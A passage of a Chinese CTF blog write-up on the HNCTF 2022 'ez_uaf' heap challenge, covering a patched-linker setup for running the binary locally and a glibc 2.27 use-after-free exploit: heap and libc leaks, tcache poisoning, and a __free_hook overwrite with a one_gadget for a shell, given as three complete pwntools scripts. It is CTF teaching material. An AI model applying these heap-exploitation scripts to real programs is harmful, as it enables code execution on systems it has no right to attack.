原文链接:https://tover.xyz/p/PWN-Note_0-Reborn-and-ez-uaf/
众所周知我以前还是一个PWN手,但是转密码后已经有4-5年没碰过PWN了
由于之前做PWN的时候还没开博客,所以以前学过的东西都忘得差不多了,
最近在做一些PWN的复健,于是顺便记录一下学习的心得,免得以后忘了又要重学
第0篇就先写一下怎么跑起一个PWN题和(适应自己风格的-)pwntools脚本的写法
既然讲跑PWN题就必须先有一道题目,我这里选择的是HNCTF 2022 WEEK4的ez_uaf,没啥特别的原因,只是我刚好做到了这题。。。
看名字UAF就知道这是一道堆题,所以也可以顺便说一下一些UAF的打法
题目可从这里获得:https://www.nssctf.cn/problem/3105
本地调试环境搭建
拿到题目后会有一个ez_uaf
和libc-2.27.so
,ez_uaf
就是题目的二进制程序,libc-2.27.so
就是远程环境使用的libc库,这些基础的PWN知识应该都知道的,不多说了
在本地中虽然可以直接把ez_uaf
跑起来,但是有一个问题是本地的libc库和远程的不一样,这就会造成程序运行的一些机制会不一样,也就是打的结果会不一样,简单来说就是,用本地库调的话最后可能会白打
另外有时候即使本地库的版本和远程的一样,也可能有区别,所以最好的做法是直接用题目给的库来跑程序
本地&远程版本一致
如果你本地的libc库和远程环境的版本一样,可以直接用LD_LIBRARY_PATH=.
把程序跑起来
首先查看程序的链接情况
✎ [imath:0] ldd ./ez_uaf
linux-vdso.so.1 (0x00007ffdd9354000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f449c7d1000)
/lib64/ld-linux-x86-64.so.2 (0x00007f449c9fd000)
这里需要链接的libc库名字叫做libc.so.6
,所以首先需要把题目的libc-2.27.so
换个名字
我推荐的做法是用软链接,在题目文件夹中运行
ln -s ./libc-2.27.so ./libc.so.6
当然也可以用绝对路径来链,不过如果脚本在同一目录跑的话问题不大
然后如果运气足够好的话,用
LD_LIBRARY_PATH=. ./ez_uaf
应该就可以把程序跑起来
本地&远程版本不一致
一般来说不可能每次遇到的PWN题的库都和本地的版本一样,运气不会这么好
这里推荐我自己常用的一种换库方法
首先把libc库链接到程序中需要一个链接器,以我自己的Ubuntu 24.04为例,连接器就是
/lib64/ld-linux-x86-64.so.2 -> ../lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
一般链接器和libc库的版本是对应的,即对应版本的链接器才能链接对应版本的libc库
比如我本地的是libc-2.39
的链接器,而远程的是libc-2.27
,所以如果我直接用LD_LIBRARY_PATH=.
去跑的话大概率会爆奇怪的错误
✎ [/imath:0] LD_LIBRARY_PATH=. ./ez_uaf
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
解决方法是,把程序的链接器更换掉,换成libc-2.27
的链接器
通常好一点的题目会把链接器和libc一起给你,但很显然这题不太好。。。
于是可以上网找一下有没现成的(反正我没找到),或者用上古方法从源码编一个对应版本的libc,编的时候会顺便把链接器编好
这里如果你找不到的话可以直接用我编好的<a href="ld-2.27.so">ld-2.27.so</a>来赣
然后拿到链接器ld-2.27.so
后,还需要让程序用我这个链接器去链接libc库
通过上面的ldd
输出可以知道程序认的链接器是/lib64/ld-linux-x86-64.so.2
,这个值是程序编译时写死在程序里的,所以可以直接用Vim把它改掉
PS:或者用patchelf
之类的工具也行,我个人嫌麻烦就直接Vim了
改之前首先备份一个,避免改坏
cp ./ez_uaf ./ez_uaf.bak
接着Vim打开,用/
搜索/lib64/ld-linux-x86-64.so.2
(理论上只有一个结果)

这里改的时候要满足一个规则,即改之前的长度和改之后的长度要一样,所以要改ld-2.27.so
搞一个长度一样的路径
可以参考我的做法,先在题目路径把ld-2.27.so
软连接成./lib64ld-linux-x86-64.so.2
ln -s ./ld-2.27.so ./lib64ld-linux-x86-64.so.2
然后把程序ez_uaf
中的/lib64/ld-linux-x86-64.so.2
改成./lib64ld-linux-x86-64.so.2
即可
PS:因为用的是相对路径,所以也是只能在题目路径中跑exp,一般情况下够用了
改完后

最后再用
LD_LIBRARY_PATH=. ./ez_uaf
应该就可以运行了
最终搞完的目录结构是
.
├── exp.py
├── ez_uaf
├── ez_uaf.bak
├── ld-2.27.so
├── lib64ld-linux-x86-64.so.2 -> ./ld-2.27.so
├── libc-2.27.so
└── libc.so.6 -> ./libc-2.27.so
用pwntools运行
如果用pwntools
运行的话,需要在process
那把LD_LIBRARY_PATH
加到环境变量
参考代码
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)
r.interactive()
r.close()
PS:因为我实在wsl里运行的,所以还需要加上
context.terminal = ['wt.exe', 'bash', '-c']
不然不能在新窗口中弹出gdb
PPS:理论上如果用gdb打开的话,直接在gdb里面打
set environment LD_LIBRARY_PATH=.
就可以跑,但实际试过不行,原因可能是这句相当于在shell中运行
export LD_LIBRARY_PATH=.
因为我shell中的程序不是用libc-2.27
,所以就炸了
ez_uaf
接下来稍微讲一下这题的做法
一般都是三板斧
- 找任意读,泄露程序基址、栈基址、堆基址、
libc
基址等信息
- 找任意写,找到能执行的地方劫持控制流,把
rop
或者one_gadget
写进去然后执行
- 如果NX没开的话可以找任意执行,写
shellcode
漏洞点
在delete
函数中,对name
和content
的堆块free
后没有把指针设为0
,造成UAF漏洞

PS:我上图是修过结构体的,大概意思懂即可
或者可以在IDA的Local Types中右键 -> Add type -> C syntax -> 把下面的粘进去
struct Chunk
{
char *name;
void *padding;
char *contant;
int size;
int alive;
};
然后把heaplist
类型改成Chunk *heaplist[16]
,F5
刷新
这些应该是逆向手的活,不归我教(
攻击思路
大概的攻击思路是
通过UAF可以在delete
后,通过show
函数泄露堆的基址heap_base
通过把堆块弄到unsorted bin
中可以泄露main_arena
的地址,然后泄露libc的基址libc_base
泄露heap_base
和libc_base
后,可以用UAF改bins中堆块的连接关系,修改某个堆块的content
地址为malloc_hook
或者free_hook
结合edit
函数在malloc_hook
或者free_hook
上写one_gadget
调用malloc
或free
就可以get shell
Part.1 泄露heap_base
泄露heap_base
是相对简单的,因为堆块被free
后在*bin
中是以链表的形式存储,所以就会在堆块中存储上一个和下一个堆块的地址(或者如果没有的话就存0
,表示NULL
)

而通过show
的UAF可以泄露name
和content
堆块的内容,也就可以在free
构造*bin
中的链后泄露堆地址
其中以name
的堆块为例,这个堆块大小固定是0x30
,在libc-2.27
中被free
后会被放到tcachebin
中
而tcachebin
中的堆块以单链表的形式存储,所以在free
掉两个堆块后就可以构造
chunk(2) -> chunk(1) -> NULL
这样在通过chunk(2)
的FD
指针就可以泄露chunk(1)
的地址,然后计算出heap_base

PS:至于为什么不搞chunk(1)
的BK
指针,是因为puts
时前面FD
指针的0
会截断输出,拿不到
Part.2 泄露libc_base
泄露libc_base
稍微复杂一点,如果要在堆上摸到libc
库的地址的话,需要通过Unsorted Bin Attack
大概意思是,由于unsortedbin
是以循环双链表的形式存储,不像单链表那样可以快速地找到链头
所以会有一个叫arena
的东西(或者主线程中叫main_arena
),arena
会被当做一个假的chunk
存放在unsortedbin
中,好像是为了方便内存的管理,有空再研究研究(挖坑

这样的话,通过arena
可以找到unsortedbin
中的堆块
由于unsortedbin
是双向循环链表,所以反过来想,通过unsortedbin
上的堆块也可以拿到arena
的地址,而arena
是libc
上的结构体,也就相当于泄露了libc_base
PS:如果可以不把arena
放在unsortedbin
中的话,不就可以避免libc_base
泄露了,为啥一定要放进去也是原理未明
于是接下来的问题是,怎么把堆块分配到unsortedbin
中,首先看一下64位机器中各个bin
的大小(GPT说的,32位机器的话好像是砍半)

根据libc-2.27
的机制,在free
后好像是会先把堆块放到tcachebin
,如果tcachebin
被塞满了或者这个堆块的大小超过了tcachebin
限制的堆块大小(1032字节),就会分配到unsortedbin
,然后后续再分配到其他bin
中
所以这里就有两种方法
通过多次add
和delete
把tcachebin
填满,然后再次delete
后就会分配到unsortedbin
,一般tcachebin
的大小是7
,那么就是delete
第8
个的时候就会到unsortedbin

不过这个方法会有点麻烦,首先如果题目有add
或delete
操作次数限制的话就不能这样搞,其次是前面塞到tcachebin
中的堆块也不太好管理
通过delete
大小为0x420
及以上的堆块,直接让它放到unsortedbin
中
缺点是如果malloc
时有堆块大小限制的话就没用,这题限制的大小是0x500
,所以可以这样搞

因为题目中name
和content
是分开的两个区块,所以可以把heap_base
的泄露合在一起做,就是
进行两次add
,分配两个content
大小为0x410
的堆块,同时也会分配两个大小为0x30
的name
堆块
依次删除chunk(1)
和chunk(2)
,对于name
就会形成
name(2) -> name(1) -> NULL
的链,用Part.1的方法就可以泄露heap_base
对于content
,理论上在两次delete
后会形成跟上面那个图一样的
content(2) <-> content(1) <-> main_arena <-> content(2)
但实际上并不是,因为仔细观察的话会发现,content(2)
其实是和top_chunk
相邻的堆块

对这样的堆块free
的时候,并不会扔进unsortedbin
中,而是会被top_chunk
吞掉

也就是实际形成的是只有content(1)
和main_arena
两个节点的循环双链表
content(1) <-> main_arena

但这也够了,因为在content(1)
中已经有libc
的地址,show
一下就可以泄露libc_base
Part.3 构造任意写
接下来需要构造一个任意写,我的方法是利用UAF修改tcachebin
上的链
首先分配两个contnet
大小和前面不一样的区块,比如我的是0x40
,然后再依次delete
,这样再tcachebin
上就会形成
content(4) -> content(3) -> NULL
这是如果用UAF把content(4)
的FD
指针改成想要写的地址addr
,那么就是
content(4) -> addr
这是只要再分配两个0x40
的堆块,第二个就会落到addr
中,实现堆上的任意写
PS:好像是因为tcachebin
中没有检查机制才能这样干,不然还要在写的地方构造堆块头
于是接着就可以随便找个堆块覆写里面content
的地址,然后调用edit
实现任意写
我的做法是,在exp
的开头首先add
一个堆块chunk(0)
,然后去覆写里面content
的地址
当然这样会多add
一个堆块,但是容易理解一点,反正题目给的次数也足够多
Part.4 free_hook写one_gadget
最后的问题是,到底要写哪
因为目前不能泄露程序的基址,所以肯定不能覆写返回值
而在堆题中有两个很方便的地方叫malloc_hook
和free_hook
,这两个地方都在libc
中
大概原理是,在调用malloc
或者free
前,malloc_hook
或free_hook
上有东西的话,会先调用malloc_hook
或free_hook
指向的地址的内容
from pwn import *
libc = ELF('libc-2.27.so')
libc_malloc_hook = libc_base + libc.symbols['__malloc_hook']
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_malloc_hook) = }')
print(f'{hex(libc_free_hook) = }')
至于要写啥,由于*_hook
上只能写一个地址,所以就是one_gadget了

Exp
Exp.1
首先给一个正常的exp,就是按照上面所说流程写的exp
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2
LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)
def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)
def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)
def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
name = r.recvline()
content = r.recvline()
return {'n': name, 'c': content}
def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)
add(0x8, b'aaa', b'aaaaa')
add(0x410, b'bbb', b'bbbbb')
add(0x410, b'ccc', b'ccccc')
delete(1)
delete(2)
heap_base = u64(show(2)['n'].split(b'\n')[0].ljust(8, b'\x00')) - 0x2b0
print(f'{hex(heap_base) = }')
libc_base = u64(show(1)['c'].split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')
add(0x40, b'ddd', b'ddddd')
add(0x40, b'eee', b'eeeee')
delete(3)
delete(4)
edit(4, p64(heap_base + 0x250))
libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')
'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''
libc_ogg = libc_base + 0x4f302
'''
+0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│
+0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│
+0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│
+0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│
+0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│
'''
add(0x40, b'fff', b'fffff')
add(0x40, b'aaa', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8) + p32(1))
input('> pwn')
edit(0, p64(libc_ogg))
delete(0)
r.interactive()
r.close()
gdb自动化
然后最近我发现在gdb.attach
调起gdb
的时候带上api=True
的话,就可以用pwntools
操纵gdb
,实现自动化调试,就不用每次gdb
都输入重复的命令来调试了,可以参考pwntools的文档
PS:但是用这个api
的话好像堆会解错,比如vmmp
就看不到堆,heap
命令也挂了
下面给一份不太正常的exp来参考参考
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2
LOCAL = True
AUTOGDB = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node5.anna.nssctf.cn', 22590)
def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)
def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)
def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
name = r.recvline()
content = r.recvline()
return {'n': name, 'c': content}
def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add(0x8, b'aaa', b'aaaaa')
add(0x410, b'bbb', b'bbbbb')
add(0x410, b'ccc', b'ccccc')
''' corrupted...
AUTOGDB and g.execute('set [imath:0]heap_base=[/imath:0]base("heap")') and sleep(T)
AUTOGDB and g.execute('hexdump [imath:0]heap_base') and sleep(T)
'''
AUTOGDB and g.execute('hexdump *(size_t*)[/imath:0]rebase(0x4060) 4096') and sleep(T)
delete(1)
delete(2)
heap_base = u64(show(2)['n'].split(b'\n')[0].ljust(8, b'\x00')) - 0x2b0
print(f'{hex(heap_base) = }')
AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
AUTOGDB and g.execute('hexdump %s 4096' % hex(heap_base)) and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/16gx [imath:0]rebase(0x4060)') and sleep(T)
libc_base = u64(show(1)['c'].split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')
AUTOGDB and g.execute('p "random write"') and sleep(T)
add(0x40, b'ddd', b'ddddd')
add(0x40, b'eee', b'eeeee')
delete(3)
delete(4)
edit(4, p64(heap_base + 0x250))
AUTOGDB and g.execute('hexdump %s 4096' % hex(heap_base)) and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')
'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''
libc_ogg = libc_base + 0x4f302
'''
+0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│
+0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│
+0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│
+0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│
+0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│
'''
AUTOGDB and g.execute('p "write ogg to free hook"') and sleep(T)
add(0x40, b'fff', b'fffff')
AUTOGDB and g.execute('bins') and sleep(T)
add(0x40, b'aaa', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8) + p32(1))
AUTOGDB and g.execute('hexdump %s 256' % hex(heap_base + 0x250)) and sleep(T)
AUTOGDB and g.execute('x/16gx [/imath:0]rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('x/gx %s' % hex(libc_free_hook)) and sleep(T)
# AUTOGDB and g.execute('b *%s' % hex(libc_ogg)) and sleep(T)
# x/gx $rsp+0x40
input('> pwn')
AUTOGDB and g.execute('p "pwn"') and sleep(T)
edit(0, p64(libc_ogg))
delete(0)
r.interactive()
r.close()
Exp.2
上面也说了可以通过塞满tcachebin
泄露libc_base
这里也给一份参考代码
from pwn import *
from time import sleep
#context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2
LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)
def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)
def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)
def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
return r.recvline()
def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)
add(0x30, b'aaa', b'aaaaa')
add(0x30, b'bbb', b'bbbbb')
add(0x30, b'ccc', b'ccccc')
delete(0)
delete(1)
heap_base = u64(show(1).split(b'\n')[0].ljust(8, b'\x00')) - 0x260
print(f'{hex(heap_base) = }')
for i in range(9):
add(0x100, str(i).encode() * 3, str(i).encode() * 5)
for i in range(9):
delete(3 + i)
libc_base = u64(show(10).split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')
add(0x40, b'ddd', b'bbbbb')
add(0x40, b'eee', b'ccccc')
delete(12)
delete(13)
edit(13, p64(heap_base + 0x330))
add(0x40, b'fff', b'fffff')
'''
+00e0 0x555c4ece0330 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
+00f0 0x555c4ece0340 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 00
+0100 0x555c4ece0350 70 03 ce 4e 5c 55 00 00 30 00 00 00 01 00 00 00
+0110 0x555c4ece0360 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00
+0120 0x555c4ece0370 63 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00
'''
libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')
'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''
libc_ogg = libc_base + 0x4f302
add(0x40, b'eee', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x30) + p32(1))
edit(2, p64(libc_ogg))
input('> hook')
delete(2)
r.interactive()
r.close()